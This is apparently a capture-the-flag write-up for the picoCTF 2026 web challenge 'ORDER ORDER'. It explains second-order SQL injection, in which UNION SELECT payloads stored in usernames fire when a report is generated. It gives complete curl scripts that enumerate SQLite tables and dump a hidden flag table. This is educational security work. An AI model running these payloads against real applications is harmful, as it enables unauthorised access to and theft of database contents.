picoCTF 2026 ORDER ORDER Writeup: Second-Order SQL Injection
This is a Web challenge from picoCTF 2026: ORDER ORDER.
The challenge description is short:
Can you try to get the flag from our website. I've prepared my queries everywhere! I think!
When you first see prepared my queries everywhere, your instinct is SQL injection. But the real thing worth learning here isn't "throw a ' OR 1=1-- at every input box you see" — it's understanding this:
Some SQL injection doesn't fire on the spot — it gets stored, and only fires later.
That's second-order SQL injection.
Challenge info
- Challenge: ORDER ORDER
- Category: Web Exploitation
- Difficulty: Hard
- Platform: picoCTF 2026
- Challenge link: https://learn.cylabacademy.org/library/752
I'll write this the way the solve actually went. The point isn't to memorize the final payload — it's to record how I observed, corrected, and confirmed my reasoning at each step along the way.
What is second-order SQL injection
A regular first-order SQL injection goes like this:
Enter payload -> backend runs it in SQL immediately -> you see the result or error on the spot
For example, a login form directly sends:
' OR 1=1--
If the backend concatenates it into SQL right then, you might log in immediately or get an error.
Second-order SQL injection is a bit different:
Stage 1: the payload gets stored in the database
Stage 2: some later feature pulls that data back out and concatenates it into SQL
Stage 3: only now does the vulnerability trigger
So the payload may look a lot like ordinary SQLi, but you test it differently. You can't just check whether it blows up at registration time — you also have to find which later feature reuses that data.
In this challenge the "storage point" is username.
In this challenge the "trigger point" is Generate Report.
Step 1: Basic recon first
First set the target:
BASE='http://crystal-peak.picoctf.net:51724'
Grab the home page:
curl -sS -i -c cookies.txt "$BASE/" -o 00_home.http
sed -n '1,220p' 00_home.http
grep -Eoi 'href="[^"]+"|action="[^"]+"|method="[^"]+"|name="[^"]+"' 00_home.http
On the home page you can see:
<li><a href="/signup">Sign up</a></li>
<li><a href="/login">Login</a></li>
Register a normal account first, then log in and see what features are available:
USER="u$(date +%s)"
EMAIL="[email protected]"
PASS="Passw0rd!"
curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/signup" \
--data-urlencode "username=$USER" \
--data-urlencode "email=$EMAIL" \
--data-urlencode "password=$PASS" \
-o 02_signup_post.http
curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/login" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" \
-o 03_login_post.http
curl -sS -i -b cookies.txt -c cookies.txt "$BASE/" -o 04_authed_home.http
grep -Eoi 'href="[^"]+"|action="[^"]+"|method="[^"]+"|name="[^"]+"' 04_authed_home.http
After logging in you see:
<li><a href="/dashboard">Dashboard</a></li>
<li><a href="/expenses">Expenses</a></li>
<li><a href="/inbox">Inbox</a></li>
<li><a href="/logout">Logout</a></li>
Next, look at /expenses:
curl -sS -i -b cookies.txt -c cookies.txt "$BASE/expenses" -o expenses.http
sed -n '1,260p' expenses.http
You can see two forms:
<form method="POST" action="/expenses">
<input id="description" type="text" name="description" required>
<input id="amount" type="number" step="0.01" name="amount" required>
<input id="date" type="date" name="date" required>
</form>
<form method="POST" action="/generate_report">
<button type="submit">Generate Report</button>
</form>
At this point we know there are at least two avenues to test:
- the expense fields
description / amount / date username, because the report has to know "who the current user is"
Step 2: Generate a normal report first
Click Generate Report once:
curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/generate_report" -o 05_report.http
sleep 11
curl -sS -i -b cookies.txt -c cookies.txt "$BASE/inbox" -o 06_inbox.http
grep -Eoi 'href="[^"]+"' 06_inbox.http
A download link appears in the Inbox:
/download_report/1
Download the CSV:
curl -sS -L -b cookies.txt "$BASE/download_report/1" -o normal.csv
cat normal.csv
Result:
description,amount,date
This output looks empty, but it actually carries one important piece of information:
The report output has three columns: description, amount, date.
If we want to use UNION SELECT later, we'll need to line up three columns too.
Step 3: How do we know username is the problem
This is the most crucial observation in the whole challenge.
We didn't know from the start that username had a second-order injection — we guessed it from the data flow:
The report has to query the current user's expenses
The backend might use username or user_id as the condition
If it concatenates username into SQL, there could be trouble
So first register an account whose username contains just a single quote:
C=quote_test.txt
USER="qt$(date +%s)'"
EMAIL="qt$(date +%s)@t.local"
PASS="Passw0rd!"
curl -sS -c "$C" -X POST "$BASE/signup" \
--data-urlencode "username=$USER" \
--data-urlencode "email=$EMAIL" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11
curl -sS -b "$C" "$BASE/inbox" -o quote_inbox.html
grep -Ei 'failed|error|unrecognized|syntax|download_report|Expense report' quote_inbox.html
The result comes back as:
Report generation failed. Cause unrecognized token: "'qt1788089522''"
This line is almost the backend telling us directly:
When I generated the report, I took your username and built SQL out of it
And your single quote broke that SQL
If the backend safely queried by user_id, or used a prepared statement correctly, this error shouldn't appear. So this step isn't about grabbing the flag — it's about confirming:
username is the storage point, and Generate Report is the trigger point.
Step 4: Use a marker to prove we can control the output
Next we go from "able to make SQL throw an error" to "able to control the SQL query result."
At this point I'll drop in a marker.
A marker is a tag we deliberately inject, for example:
VULN
It's not a flag, and it's not a special command — it's just there to confirm whether the data flows out the way we intend.
The payload:
mk123' UNION SELECT 'VULN',123,'2026-01-01'--
Full test:
C=marker.txt
USER="mk$(date +%s)' UNION SELECT 'VULN',123,'2026-01-01'--"
EMAIL="mk$(date +%s)@t.local"
PASS="Passw0rd!"
curl -sS -c "$C" -X POST "$BASE/signup" \
--data-urlencode "username=$USER" \
--data-urlencode "email=$EMAIL" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11
curl -sS -b "$C" "$BASE/inbox" -o marker_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' marker_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o marker.csv
cat marker.csv
Result:
description,amount,date
VULN,123,2026-01-01
This result matters.
It means:
The SQL we put into username at registration
actually got executed during Generate Report
and the result was written into the CSV
If we imagine the backend SQL like this:
SELECT description, amount, date
FROM expenses
WHERE username = '<USERNAME>';
Then after the payload is injected into username, it becomes:
SELECT description, amount, date
FROM expenses
WHERE username = 'mk123'
UNION SELECT 'VULN',123,'2026-01-01'--';
Three tokens here are key:
': closes off the original username stringUNION SELECT: appends our own query result after the report's result--: comments out the tail the backend originally appended
Step 5: Work out the UNION column count from the CSV columns
The earlier normal report already told us:
description,amount,date
So the original query is probably three columns:
SELECT description, amount, date
FROM expenses
...
The rule for UNION SELECT is that both sides must have the same number of columns.
So our payload needs three columns too:
UNION SELECT 'VULN',123,'2026-01-01'
This is why the marker test wasn't written at random:
Column 1: put the text VULN, mapping to description
Column 2: put the number 123, mapping to amount
Column 3: put a date string, mapping to date
If the column count is wrong, you usually see something like:
SELECTs to the left and right of UNION do not have the same number of result columns
But in this challenge the CSV header conveniently spelled out all three columns for us.
Step 6: Confirm the database type and enumerate the tables
The error message contained unrecognized token, and combined with the Python/Werkzeug stack that's common for these challenges, this looks a lot like SQLite.
SQLite's schema information can be queried from sqlite_master:
C=tables_51724.txt
USER="tb$(date +%s)' UNION SELECT name,0,'2026-01-01' FROM sqlite_master WHERE type='table'--"
EMAIL="tb$(date +%s)@t.local"
PASS="Passw0rd!"
curl -sS -c "$C" -X POST "$BASE/signup" \
--data-urlencode "username=$USER" \
--data-urlencode "email=$EMAIL" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11
curl -sS -b "$C" "$BASE/inbox" -o tables_51724_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' tables_51724_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o tables_51724.csv
cat tables_51724.csv
Result:
description,amount,date
aDNyM19uMF9mMTRn,0,2026-01-01
expenses,0,2026-01-01
inbox,0,2026-01-01
reports,0,2026-01-01
sqlite_sequence,0,2026-01-01
users,0,2026-01-01
Here we can make an initial judgment:
expenses: normal application tableinbox: normal application tablereports: normal application tableusers: normal application tablesqlite_sequence: SQLite's system table for auto-incrementaDNyM19uMF9mMTRn: very suspicious
In CTF challenges, a garbled table name like this is usually not just decoration.
But don't dump it straight away — the safer move is to look at the schema first.
Step 7: Query the schema and confirm the column names
Query the CREATE TABLE for every table:
C=schema_51724.txt
USER="sc$(date +%s)' UNION SELECT sql,0,'2026-01-01' FROM sqlite_master WHERE type='table'--"
EMAIL="sc$(date +%s)@t.local"
PASS="Passw0rd!"
curl -sS -c "$C" -X POST "$BASE/signup" \
--data-urlencode "username=$USER" \
--data-urlencode "email=$EMAIL" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11
curl -sS -b "$C" "$BASE/inbox" -o schema_51724_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' schema_51724_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o schema_51724.csv
cat schema_51724.csv
The schema of the suspicious table:
CREATE TABLE aDNyM19uMF9mMTRn (
name TEXT PRIMARY KEY,
value TEXT NOT NULL
)
Now we have the full picture:
Suspicious table: aDNyM19uMF9mMTRn
Columns: name, value
Report output column count: 3
So in the end we just map name and value to the report's first two columns and add a date column.
Step 8: Dump the suspicious table
The payload:
dp123' UNION SELECT name,value,'2026-01-01' FROM aDNyM19uMF9mMTRn--
Full test:
C=dump_51724.txt
USER="dp$(date +%s)' UNION SELECT name,value,'2026-01-01' FROM aDNyM19uMF9mMTRn--"
EMAIL="dp$(date +%s)@t.local"
PASS="Passw0rd!"
curl -sS -c "$C" -X POST "$BASE/signup" \
--data-urlencode "username=$USER" \
--data-urlencode "email=$EMAIL" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" > /dev/null
curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11
curl -sS -b "$C" "$BASE/inbox" -o dump_51724_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' dump_51724_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o dump_51724.csv
cat dump_51724.csv
Result:
description,amount,date
flag,picoCTF{Redacted},2026-01-01
Flag:
picoCTF{Redacted}
How we reasoned out the SQL along the way
We didn't pull payloads out of thin air — at each step we asked the website a small question:
How many columns do you have?
Are you SQLite?
What tables do you have?
What columns does your suspicious table have?
How do I get those columns back into the CSV?
This is also why the marker matters. If you go straight for the flag from the start, it might work, but you won't learn the reasoning in between. The marker's job is to turn "I think there's a hole here" into "I can prove I control the SQL query result."
Key takeaways
What I think is most worth taking away from this challenge isn't SQLite syntax — it's this way of thinking:
Find the storage point
Find the trigger point
Use a single quote to confirm the SQL is tainted
Use a marker to confirm the output is controllable
Use schema enumeration to cut down guessing
Only then query the real target
Next time you run into this kind of feature, pay special attention to:
- After registering a username, where does the username get displayed or queried again?
- Do product names, order names, project names, or folder names get reused by back-office reports?
- When exporting CSV, PDF, or Excel, does it rebuild SQL?
- Do the admin panel's search, sort, report, and statistics features consume data the user entered earlier?
A lot of the time, the real problem isn't the input box itself — it's the query that runs a few minutes later, a few pages later, or even inside another background worker. That's what makes second-order SQL injection interesting.
It's not a punch straight at the door. You put something into the system first, and only when the system pulls it back out to use it does it turn out that thing changes the meaning of the query.
Member discussion